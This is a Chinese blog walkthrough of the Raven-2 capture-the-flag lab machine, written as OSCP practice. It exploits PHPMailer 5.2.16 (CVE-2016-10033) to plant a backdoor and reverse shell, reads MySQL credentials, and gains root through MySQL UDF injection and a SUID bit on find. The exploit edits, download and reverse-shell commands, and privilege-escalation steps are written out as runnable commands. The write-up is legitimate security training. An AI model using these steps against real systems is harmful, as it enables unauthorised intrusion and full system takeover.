【oscp系列-Raven-2】靶机3

3、项目三:Raven-2

**1、**信息收集

**1、**nmap-sP192.168.64.0/24

发现IP:192.168.64.164

本地ip:192.168.64.165
在这里插入图片描述

在这里插入图片描述

**2、**页面爆破

dirb http://192.168.64.164

在这里插入图片描述

3、信息页面枚举

枚举发现该目录:

==> DIRECTORY: http://192.168.64.164/vendor/

http://192.168.64.164/vendor/PATH 第二个目录获得flag:

/var/www/html/vendor/

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

在这里插入图片描述

img

3、http://192.168.64.164/vendor/README.md

枚举获得信息:PHPMailer

http://192.168.64.165/vendor/VERSION

枚举获得信息:5.2.16

这时候去找EXP!

img

img

4、谷歌:PHPMailer 5.2.16 exp

CVE-2016-10033

点击第一条就能发现:https://www.exploit-db.com/exploits/40974

img

searchsploit phpmailer 5.2.16

searchsploit 40974

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面

将exp考出,需要针对PHPMailer修改参数:

41行:改下地址:http://192.168.64.164/contact.php

42行:后门名称:/dayu.php

44行:改下回弹的IP和端口 192.168.64.165 6666

47行:改下写入shell的目录:/var/www/html/dayu.php

img

5、执行exp

python3 40974.py

如果环境报错按照环境安装:

需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

访问http://192.168.64.164/contact.php,此时就会生成后门文件dayu.php

本地开启监听:nc -vlp 6666

访问:http://192.168.64.164/dayu.php

获得反弹shell!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UGNk2AgZ-1673859313363)(C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml7796\wps11.jpg)]

python -c ‘import pty;pty.spawn(“/bin/bash”)’

img

6、找寻flag

find / -name flag*

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xvpY8cDS-1673859313364)(C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml7796\wps13.jpg)]

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

/var/www/flag2.txt

发现两个flag!读取:

cat /var/www/flag2.txt

flag2{6a8ed560f0b5358ecf844108048eb337}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BqI2WITr-1673859313364)(C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml7796\wps14.jpg)]

访问:

http://192.168.64.164/wordpress/wp-content/uploads/2018/11/flag3.png

获得flag3!

img

7、wordpress目录枚举

在flag3目录下发现了wordpress目录,然后进行枚举

img

grep "内容" -rn 
grep "password" -rn wp-config.php
define('DB_USER', 'root');

/** MySQL database password */

define(‘DB_PASSWORD’, ‘R@v3nSecurity’);

获得mysql账号密码信息!

img

ps aux | grep root —查看mysql进程信息

root 917 0.1 0.3 1351196 1760 ? Sl Jan07 2:09
/usr/sbin/mysqld --basedir=/

dpkg -l | grep mysql --查看历史安装包版本

5.5.6

mysql是root权限运行的,那么接下来就找mysql提权的方法.

8、mysql UDF 提权

UDF 提权、MOF 提权是非常经典的提权方法!

1、msf提权

mysql -uroot -pR@v3nSecurity

img

select version(); —查看版本

show databases;

use wordpress

show tables;

在这里插入图片描述

img
在这里插入图片描述

select * from wp_users;

michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.

首先看一下是否满足写入条件:

show global variables like 'secure%';

在这里插入图片描述

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在
/tmp/目录下,此时也无法提权

3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin
文件夹下文件夹下才能创建自定义函数。

查看插件目录:

show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value          |
+---------------+------------------------+
| plugin_dir   | /usr/lib/mysql/plugin/ |
+--------------+------------------------+

1 row in set (0.00 sec)

查看能否远程登陆:

use mysql;

select user,host from user;

img

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

2、udf提权

谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf

https://www.exploit-db.com/exploits/1518

searchsploit 1518.c

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/桌面

img

gcc -g -c 1518.c —GCC编译.o文件

gcc -g -shared -o cmy.so 1518.o -lc

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YsR9aTKX-1673859313371)(C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml7796\wps26.jpg)]

-g 生成调试信息

-c 编译(二进制)

-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

-o:执行命令后的文件名

-lc:-l 库 c库名

python -m SimpleHTTPServer 8081

wget http://192.168.64.165:8081/cmy.so

img

mysql -uroot -pR@v3nSecurity

show databases;
在这里插入图片描述

use mysql
在这里插入图片描述

select database();

在这里插入图片描述

进入数据库创建数据表cmy:

create table cmy(line blob);

插入数据文件:

insert into cmy values(load_file(‘/tmp/cmy.so’));

img

cmy表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出

outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

select * from cmy into dumpfile ‘/usr/lib/mysql/plugin/cmy.so’;

img

创建自定义函数do_system1,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system1 returns integer soname ‘cmy.so’;

(这里无法创建成功、还是用的之前的dayu的.so文件)

查看以下创建的函数:

select * from mysql.func;

img

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system(‘chmod u+s /usr/bin/find’);

img

执行find命令

使用find执行 shell

touch cmy
find cmy -exec “/bin/sh” ;

在这里插入图片描述

或者:find dayu -exec “id” ;

cd /root

cat flag4.txt

flag4{df2bc5e951d91581467bb9a2a8ff4425}

img

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值